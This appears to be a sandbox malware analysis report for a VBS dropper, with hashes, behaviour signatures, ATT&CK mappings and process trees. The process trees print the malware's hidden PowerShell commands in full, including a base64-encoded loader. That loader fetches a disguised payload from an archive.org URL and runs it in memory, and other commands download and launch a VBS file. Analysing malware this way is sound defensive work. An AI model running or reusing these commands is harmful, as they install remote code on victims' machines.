12fdceb6d837be10e3cd18faeaed560e027a42cb9f0e5a9fb35cc64a236be8d4

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/02/2026, 07:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
487f50601f6106842001e7f7b6369a2a.vbs
Size 1.1MB
Sample260217-h6dxcaa19f
SHA256 12fdceb6d837be10e3cd18faeaed560e027a42cb9f0e5a9fb35cc64a236be8d4
MD5 487f50601f6106842001e7f7b6369a2a
SHA1 b540282d1abcddf883c4d4869eb7ded26f0c3773
SHA512 387def61f23958073108a7147ec525462a470989c921b9a6c074230b646c4267d0bd7b7546f116c11028dd1837c60633c55e892bbe91eea10456233572894f61
SSDEEP 192:faxFsKtFsKoFJdu6l23CPNm5ZHfkPKTF8LTomWnxX2oCPNEo7H7cEHtFPKoFCMnG:DC
TLSH
T1D64545FE3F8A2623B5B75F50500440D9E94FC4812D4927C8FDCAE660654F2EE1662EBE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://ia600603.us.archive.org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png
exe.dropper
https://ia600603.us.archive.org/13/items/msi-pro-with-b-64_202602/MSI_PRO_with_b64.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2420	3220	powershell.exe	80

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2420	powershell.exe
3	2420	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2420	powershell.exe
5196	powershell.exe
2128	powershell.exe
5196	powershell.exe
2128	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2420	powershell.exe
2420	powershell.exe
5196	powershell.exe
5196	powershell.exe
2128	powershell.exe
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	5196	powershell.exe
Token: SeDebugPrivilege	2128	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
792	conhost.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 792 wrote to memory of 1700	792	conhost.exe	85
PID 3588 wrote to memory of 5196	3588	conhost.exe	87
PID 4676 wrote to memory of 2128	4676	conhost.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\487f50601f6106842001e7f7b6369a2a.vbs"
1⤵
PID:2416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGl0YWxpYW5pdHkgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRpdGFsaWFuaXR5LkhlYWRlcnMuQWRkKCJVc2VyLUFnZW50IiwgIk1vemlsbGEvNS4wIik7JGl0YWxpYW5pdHkuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskaXRhbGlhbml0eS5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7JHByaW5jZWRvbSA9ICchQCMkJcKoJiolJCNAISMlJCUkI0AhIyUkJsKoJSQjJSQmKsKoNTQ4N0QyNTg3JCU0NTY3IyQlOi8vaWE2MDA2MDMudTI1ODckJTQ1NjcjJCUuYXJjIUAjJCXCqCYqaXZlLm9yZy8xMy9pJSQjQCEjJSRlbTI1ODckJTQ1NjcjJCUvbTI1ODckJTQ1NjcjJCVpLSbCqCUkIyUkJirCqDU0ODdEcm8td2klJCNAISMlJCFAIyQlwqgmKi1iLTY0XzIwMjYwMi9NU0lfUFJPX3dpJSQjQCEjJSQhQCMkJcKoJipfYjY0LibCqCUkIyUkJirCqDU0ODdEbmcnLlJlcGxhY2UoJyFAIyQlwqgmKicsICdoJykuUmVwbGFjZSgnJSQjQCEjJSQnLCAndCcpLlJlcGxhY2UoJybCqCUkIyUkJirCqDU0ODdEJywgJ3AnKS5SZXBsYWNlKCcyNTg3JCU0NTY3IyQlJywgJ3MnKTskc2hyaW1wZXJzID0gJGl0YWxpYW5pdHkuRG93bmxvYWREYXRhKCRwcmluY2Vkb20pOyRhcmd1bWVudGF0b3IgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNocmltcGVycyk7aWYgKCRhcmd1bWVudGF0b3IgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsgICRlbGVjdG9yYWxpdHkgPSAkbWF0Y2hlc1sxXTsgICRUcmFxdWlsbGl0YXRpcyA9IFtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVsZWN0b3JhbGl0eSkpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVU5OZW10cVRUSkJhazU0U1VSTk1rbEVUWGs0TVdJeWJGZGtlRXBZV1hZd01tSnFOVk5hTmtaWFpETTFhV1ZvTVVkaWNHd3pUSFp2UkdNd1VraGhKeXduTUNjc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25UbUZ0WlY5R2FXeGxKeXduVW1WblFYTnRKeXduSnl3blVtVm5RWE50Snl3bk1TY3NKMVZTVENjc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25UbUZ0WlY5R2FXeGxKeXduZG1Kekp5d25NU2NzSnpBbkxDZFVZWE5yWDA1aGJXVW5MQ2N3Snl3bkp5d25KeXduSnc9PSc7ICAkYXJnc1N0cmluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFyZ3NCYXNlNjQpKTsgICRhcmdzID0gJGFyZ3NTdHJpbmcgLXNwbGl0ICcsJyB8IEZvckVhY2gtT2JqZWN0IHsgJF8uVHJpbSgnJyciJyApIH07ICBbU29mdHdhcmUuUHJvZ3JhbV0uR2V0TWV0aG9kKCJNYWluIikuSW52b2tlKCRudWxsLCAkYXJncyk7fQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:1700

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5196

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 37b6b80af283174c508fcb8a5faa0854ba1ab2add391502bbd8e81c18df0ad4d
MD5 7f803908e5595ac7805479ffa4f4fc41
SHA1 42e1ba3a6f437dfcdaa03d714d56e807910fe69b
SHA512 a4aff0953c7827d879f94d9503963c04146c94fef8d4183ef1d1479a787339272db362349bdffc4f0235667a9c7daf8a962c8c641c12fd90277e0c4af8dbe04d
TLSH
T13761DF313375B1D889163F07192C19C463BF8756FA94AF4CB658624ED92704B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7f5a8ae034fbd8ee51a3364b1db1ae1510d9a5c53617e48a4f3ddd25662a3fe9
MD5 64d86c3c8ae4320bb5301f35b7035ec6
SHA1 890d36d7cfd647ecc61d4cc82897de739e51105c
SHA512 9d38ca3fd69cd2e6e326df8e81f43f007229e790f36b49541a8568ac3f62c2abded60f60bb3083baa98d4e815df4d89d08e7fe658daf34bcff641e5c99187c97
TLSH
T1B221A833B39CC135C89A117A108DAD00B1B5C3CB009ECECB7A84C108D53F98ADB641E0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 db29ce86d8d282953af8c38e515f4f141006e41eb33ffbc63823f31875d58aef
MD5 889e0400f7d53b04de931f5b81333f23
SHA1 3363c963b73c7d078aac66a0c2b8f3e954975b42
SHA512 66a43bb1ddd54237ef9f3510e6500086d4b5785260472496f3557e6c663a63056fabfa96c9fb427fa0b0cf425637c67e37cdde6d83ba2953f4bdda03a8ca0b80
TLSH
T19521A833B3ACC135C8D9117E108CAD01B2B5C3C7449ECECB6B84C508A57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nqda11xp.fzk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqda11xp.fzk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2128-41-0x00000279A1190000-0x00000279A11A2000-memory.dmp

Download

memory/2416-10-0x00000284E3680000-0x00000284E381A000-memory.dmp

Download

memory/2420-9-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

Download

memory/2420-13-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

Download

memory/2420-14-0x000002B53CC00000-0x000002B53CC12000-memory.dmp

Download

memory/2420-15-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

Download

memory/2420-12-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

Download

memory/2420-11-0x000002B5553A0000-0x000002B5554BA000-memory.dmp

Download

memory/2420-1-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

Download

memory/2420-2-0x000002B554E10000-0x000002B554E32000-memory.dmp

Download

memory/2420-0-0x000002B554EC0000-0x000002B554ED0000-memory.dmp

Download

memory/5196-31-0x000002B487D10000-0x000002B487EAA000-memory.dmp

Download

memory/5196-32-0x000002B4A1DE0000-0x000002B4A1DF2000-memory.dmp

Download